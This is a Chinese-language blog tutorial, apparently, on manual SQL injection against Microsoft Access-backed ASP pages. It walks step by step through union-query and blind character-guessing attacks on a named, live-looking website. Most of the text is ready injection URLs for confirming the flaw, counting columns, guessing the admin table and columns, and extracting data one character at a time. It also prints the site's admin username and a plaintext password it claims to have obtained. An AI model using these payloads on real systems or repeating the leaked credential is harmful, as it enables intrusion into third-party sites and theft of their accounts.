ACCESS手工注入实例 详细教程

ACCESS全称Microsoft Office Access,是由微软发布的关系数据库管理系统。

Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。

 

一、URL的组成

协议://主机/文件[参数]

 

以这个网址为例:http://www.bikingdee.net/newsshow.asp?id=131

  • http是协议名,https也是协议名
  • www.bikingdee.net 主机名
  • newsshow.asp 文件名
  • ?id=131 参数

当然,也是有没有参数的url,例如:http://www.bikingdee.net/admin.asp

 

二、访问网页的流程

客户端向服务器发送一次请求 -> 向服务端发送数据包 -> 服务端接收解析数据包 -> 返回页面

 

三、什么是注入点?

1、有参数传递

2、带入数据库查询

3、返回显示

 

四、SQL注入原理

对用户传递来的参数未进行过滤导致恶意SQL语句被执行的结果。

 

五、从源码看SQL注入

以下是我提前准备好了源代码,大家可以简单的看一下,如下图:

源码看SQL注入

从上图可以得到,这样一个判断:

当我们正常访问:http://www.bikingdee.net/newsshow.asp?id=131

可以执行SQL注入语句:select * from news where N_id=131 and 查询管理员账号密码

 

六、实战 access“联合查询”注入

还是以这个网址:http://www.bikingdee.net/newsshow.asp?id=131 为例子。

 

1、判断注入'报错,and 1=1 和 and 1=2

正常SQL语句:select * from news where N_id=131

注意:单引号需要在英文状态下输入:'

 

'后的sql语句:select * from news where N_id=131'

and 1=1:select * from news where N_id=131 and 1=1 (返回正常)

and 1=2:select * from news where N_id=131 and 1=2 (返回 错误)

 

2、查询字段个数:order by

注意:这里的字段个数指的是是连接当前页的字段数;

 

此页面结果是:

http://www.bikingdee.net/newsshow.asp?id=131 order by 15 (返回正常)

http://www.bikingdee.net/newsshow.asp?id=131 order by 16 (返回错误)

这就说明:连接当前页面的数据库中有15个字段。

 

注意:、

http://www.bikingdee.net/msoftwareshow.asp?id=25 这个页面的字段数却是34个。

同一个网站管理员账号密码所在表应该是同一个表,如果 order by 是查询管理员账号密码表的字段数的话,两个页面 order by查询到的字段数应该是相同的。

 

3、联合查询法猜表名:union

http://www.bikingdee.net/newsshow.asp?id=131 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin 

我这里是猜对了,如果admin表不存在就会报错,可以再输入其它的命字来猜表名。

 

这里再给大家讲一点基础知识:

什么是显位?

显位就是能将字段中的数据报岀来的位置,将我们的列名放到显位上,如果列名存在,就可以爆出数据。

 

4、猜列名爆数据

将我们猜的列名放到显位上,如果列名存在,就可以爆出数据;如果列名不存在则会报错。

 

根据我的测试,显位分别是3和5,因此猜列名如下:

 

显位3 猜 管理员用户 爆数据:

http://www.bikingdee.net/newsshow.asp?id=131 union select 1,2,adminuser,4,5,6,7,8,9,10,11,12,13,14,15 from admin

 

显位5 猜 管理员密码 爆数据:

http://www.bikingdee.net/newsshow.asp?id=131 union select 1,2,adminuser,4,password,6,7,8,9,10,11,12,13,14,15 from admin

 

从而得到,账号: admin 密码: 9kingxaw85deedxd2

 

七、实战 access“逐字猜解法”注入

这次我们重新换一个页面,以 http://www.bikingdee.net/news.asp?id=5 页面为准了。

 

1、判断注入点:and 1=1 和 and 1=2

http://www.bikingdee.net/news.asp?id=5 and 1=1  (返回正常)

http://www.bikingdee.net/news.asp?id=5 and 1=2  (返回错误)

 

2、查当前页面连接的数据库的字段数:order by

http://www.bikingdee.net/news.asp?id=5 order by 1 (直接报错,order by不能用了!)

 

遇到这种情况又应该怎么办呢?请继续向下看:

 

3、逐字猜解法(适用于 order by 不能用的地方)

 

猜表名:and exists(select * from 表名)

http://www.bikingdee.net/news.asp?id=5 and exists(select * from admin)

返回正常,说明admin表存在,如果报错误,说明表不存在。

 

猜列名:and exists(select 列名 from 表名)

猜管理员用户名:

http://www.bikingdee.net/news.asp?id=5 and exists(select adminuser from admin)

猜管理员密码:

http://www.bikingdee.net/news.asp?id=5 and exists(select password from admin)

 

猜字段中数据长度:and (select top 1 length(adminuser) from admin)>=5

http://www.bikingdee.net/news.asp?id=5 and (select top 1 length(adminuser) from admin)>=5
http://www.bikingdee.net/news.asp?id=5 and (select top 1 length(adminuser) from admin)<6

这里反回正常,说明:adminuser这个字段中数据的字符个数>=5 并且 <6,字段的数据字符个数为5。

 

爆列名内容:and (select top 1 asc(mid(列名,1,1))from admin)>=97

 

先猜第一位:

http://www.bikingdee.net/news.asp?id=5 and (select top 1 asc(mid(adminuser,1,1))from admin)>=97

返回正确,说明第一个字符的ascii大于等于97,我们可以去ASCII码对照表去查一下,97对应的就是a;

 

http://www.bikingdee.net/news.asp?id=5 and (select top 1 asc(mid(adminuser,1,1))from admin)>=98

返回错误,就说明:adminuser这个字段中的第一个字符的 ascii 值是97,也就是字母小写的a;

 

再猜第二位:and (select top 1 asc(mid(列名,2,1))from admin)>=97

http://www.bikingdee.net/news.asp?id=5 and (select top 1 asc(mid(adminuser,2,1))from admin)>=97

返回正常。

 

http://www.bikingdee.net/news.asp?id=5 and (select top 1 asc(mid(adminuser,2,1))from admin)>=100

返回正常。

 

http://www.bikingdee.net/news.asp?id=5 and (select top 1 asc(mid(adminuser,2,1))from admin)>=101

返回错误,就说明:adminuser这个字段中的第二个字符的 ascii 值是100,也就是字母小写的d;

 

再猜第三位,第四位,第五位,依次类推就可以了。

 

如果是用逐字猜解法猜密码的话,按照此方法原理一样的去进行就可以了,只需要把adminuser换成password就可以了。

头像
JAVA从入门到精通视频教程(实战)
  • ¥ 99.0元
  • 市场价:99.0元
C#开发实战第二季:面向对象
  • ¥ 0.0元
  • 市场价:199.0元
Unity3D制作《王者荣耀》商业游戏实战
  • ¥ 299.0元
  • 市场价:599.0元
免费SSL证书 HTTPS申请 安装 配置 支持通配符*
  • ¥ 1999.9元
  • 市场价:20000元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: